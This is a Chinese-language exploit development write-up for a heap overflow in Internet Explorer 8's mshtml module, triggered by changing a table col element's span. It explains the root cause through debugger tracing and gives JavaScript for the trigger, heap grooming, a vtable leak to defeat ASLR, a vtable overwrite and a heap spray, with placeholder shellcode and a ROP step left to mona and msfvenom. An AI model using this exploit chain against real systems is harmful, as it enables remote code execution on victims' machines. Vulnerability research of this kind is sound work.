漏洞原理与利用概述
该漏洞是IE的mshtml模块的堆溢出漏洞。产生漏洞的原因是CalculateMinMax函数会根据HTML中的col标签的span属性值每次向堆中写入0x1c个字节的值。当我们用JS动态更改span的属性值时会再次调用CalculateMinMax函数,写入新的span * 0x1c个字节,问题在于这一次写入并没有开辟新的空间,而是在原先的位置和大小开始写入值(样式信息),从而导致了堆溢出。微软发布的补丁做的事情就是在更改span后会开辟一个新的位置和大小的堆,从而防止堆溢出。
我们利用这个漏洞就是通过精心的内存布局,去泄露出CButtonLayout对象的虚表地址,从而泄露mshtml的基址并利用堆喷射最终绕过ASLR。然后进一步溢出,覆盖该虚表地址,从而在后续调用虚函数时劫持EIP。然后通过mshtml中的指令构造ROP链绕过DEP,最终执行shellcode。效果如下。
调试环境搭建
windows 7 32位(IE版本: 8.0.7600.16385) windbg Immunity Debugger
漏洞原理
POC
<body> <table style="table-layout:fixed" > <col id="132" width="41" span="1" > col> table> <script> function over_trigger() { var obj_col = document.getElementById("132"); obj_col.width = "42765"; obj_col.span = 1000; } setTimeout("over_trigger();",1);script>body></html>
IE浏览器每个选项卡都会创建一个子进程来处理,所以打开前打开后比较一下就知道附加到哪个进程了
开启页堆,载入POC,附加到该标签页的进程
通过 kb进行回溯,确定漏洞函数为AdjustForCol。通过返回地址 和 ub确认漏洞函数的入口点
在IDA 中对寄存器进行回溯,可以发现edi的值最终来自于外部
在AdjustForCol的调用处继续回溯,可以发现esi来自于[ebp+var_28],继续回溯[ebp+var_28]发现其来自于eax,而eax由ecx和[ebx+9c]相加得到
对ebx进行回溯,发现在该函数的开头ebx进行过赋值,而该值来自于该函数的第一个参数[ebp+8]
用windbg来验证一下,重新载入POC,在mshtml!CTableLayout::CalculateMinMax处下断点,然后单步调试
此处将函数的第一个参数(ebp+8)赋值给ebx,通过windbg查看内存情况,如图此处内存实际上是CTableLayout对象,偏移54h处就是span这个属性的值即为spanum,可以看到对应的内存被设置为1
另一很重要的变量就是下图的[ebx+94h],将其记为spancmp
这里spancmp除以4并与spanum进行比较,若大于等于就会跳转。显然这里不会跳转(spacmp =0 ,除了4还是0,spanum是1)。之后便会去执行开辟堆的EnsureSizeWorker函数。如果跳过了,这次便不会执行EnsureSizeWorker函数了。
而EnsureSizeWorker函数这一次只会开辟0x70个字节的大小的堆
这里其实就是问题所在,我们可以通过JS动态的更改span的属性值。CalculateMinMax会再次执行。程序仍然会通过比较内存中的spanum和spancmp来判断是否开辟堆区。但是内存中的spanum的值实际上并没有变(JS更改后的值是通过后面的getAASpan函数得到的),而spacmp变为了4,所以第二次并不会开辟新堆,而是使用了这个0x70大小的旧堆。前后两次该内存中的情况如下图,可以看到spanum是1,spacmp为4。
之后便会执行getAASpan函数,该函数会获得JS动态更改后的span的值。通过windbg可以看到返回值已经变为了1000
然后就会执行漏洞函数,AdjustForCol操作是个内存写入的操作,他的写入次数是V143控制的,而v143就是由GetAASpan控制,写入的值是由GetPixelWidth函数得到
GetPixelWidth每次写入大小为0x1c字节的值,并且写入的值为125乘width或者 (125乘width乘16)| 8.(这个width也是我们在POC设置的值)。比如下图是width为41时的情况。我们就是通过这个值来泄露出虚表地址以及覆盖虚表地址的。
漏洞利用
构造如图的内存结构,首先创建0x100的字符串“EEE”然后是“AAA”,然后是“BBB”最后就是CButtonLayout对象。然后释放掉“EEE”所在的空间,造成内存中隔着0x100大小的空位。这些空位就是为了之后分配可溢出的内存块时能占用其中一个。因此我们在exp中应该先设置span为9,因为9*0x1c=0xfc
因为JS中的字符串在内存中都是以BSTR的形式存储,即4bytes字符串长度 + 字符串数据 + \x00\x00(2bytes)的形式。所以具体的思路是我们可以从占用的位置vul开始溢出,一直到B字符串的长度位置。因为B的长度是0x100,而我们写入的值是 width乘125 或 (125乘width乘16) | 8,只要width控制的好,很容易就能扩大其长度,读到B字符串后面的对象的虚表地址
首先关闭hpa(方便查看溢出,开启的情况下堆会自动填充0xc),利用POC2
<body> <div id="evil">div> <script> var free = "EEEE"; while (free.length < 480) free += free; var string1 = "AAAA"; while (string1.length < 480) string1 += string1; var string2 = "BBBB"; while (string2.length < 480) string2 += string2; var fr = new Array(); var al = new Array(); var div_container = document.getElementById("evil"); div_container.style.cssText = "display:none"; for (var i = 0; i < 500; i+=2) { fr[i] = free.substring(0, (0x100 - 6) / 2); al[i] = string1.substring(0, (0x100 - 6) / 2); al[i+1] = string2.substring(0, (0x100 - 6) / 2); var obj = document.createElement("button"); div_container.appendChild(obj); } alert(114); for (var i = 200; i < 500; i += 2) { fr[i] = null; CollectGarbage(); //释放"EEEE..."字符串 }script> <table style="table-layout:fixed" > <col id="0" width="41" span="9" > col> table>body></html>
下如下的断点,并用 .logopen开启日志,其中74d2a204为mshtml!CImplAry::EnsureSizeWorker的下一条指令地址,输出刚申请的堆块的地址
bu 74d2a204 ".echo vulheap; dd poi(ebx+9c) l4;g"
随便查看一块刚申请的堆块地址,内存中的结构如下,可以发现已经成功占用了E字符串释放的位置
在POC2中加入leak代码覆盖B字符串的长度部分叫做POC3,结果如下
function leak() { var leak_col = document.getElementById("132"); leak_col.width = 41; leak_col.span = 19;}
B字符串的长度被覆盖为0x014058,长度变大,此时可以利用字符串b读出虚表地址然后利用相对偏移地址计算mshtml的基址 从而得到rop链的基址,覆盖后的结构如下
查看并计算出虚表和模块之间的偏移
利用在POC3中加入get_leak函数查看泄露的虚表地址和模块地址。另存为POC4
function get_leak(){ for (var i = 0; i < 500; i++) { if (al[i].length > (0x100 - 6) / 2) { var leak = al[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8 + 4) / 2); leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16); alert("CbuttonLayout虚表指针: 0x" + leak_addr.toString(16)); mshtmlbase = leak_addr - 0x1584f8; alert("mshtml.dll基址?: 0x" + mshtmlbase.toString(16)); break; } } }
泄露基址后,我们进一步溢出,因为堆的起始不会变,所以还是从头开始计算堆溢出的字节长度。最终这里会被覆盖成了width乘125的值,如图,成功覆盖虚表地址
之后我们利用堆喷射,将shellcode布置到堆中
function heap_spray(){ alert("spray..."); var heap_obj = new heapLib.ie(0x10000); var code = unescape("%ucccc%ucccc"); //Code to execute var nops = unescape("%u9090%u9090"); //NOPs while (nops.length < 0x1000) nops+= nops; // create big block of nops var shellcode = nops.substring(0,0x800 - code.length) + code; while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(2, 0x40000 - 0x21); //spray for (var i=0; i < 500; i++) { heap_obj.alloc(block); } alert("done") }
我这里有点问题无法用!address -f:heap 指令,原因是!address 将堆定义为了unclassified,但是这里的大小是堆开辟的大小,所以猜测就是堆。这里网上查了一下好像是windbg版本的问题我是6.12,6.11据说没问题
增加padding将shellcode调整到我们的width乘125的值,这样我们在调用虚函数的时候就会成功转移到ROP链上了
function heap_spray(){ alert("spray..."); var offset = 0x354; var heap_obj = new heapLib.ie(0x10000); var code = unescape("%ucccc%ucccc"); //Code to execute var nops = unescape("%u9090%u9090"); //NOPs while (nops.length < 0x1000) nops+= nops; // create big block of nops var front_padding = nops.substring(0,offset); var tail_padding = nops.substring(0, 0x800 - front_padding.length - code.length); var shellcode = front_padding + code + tail_padding; while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(2, 0x40000 - 0x21); //spray for (var i=0; i < 500; i++) { heap_obj.alloc(block); } alert("done") }
最后通过mona生成ROP链,并用msfvenom生成shellcode。exp的效果如文章开头所示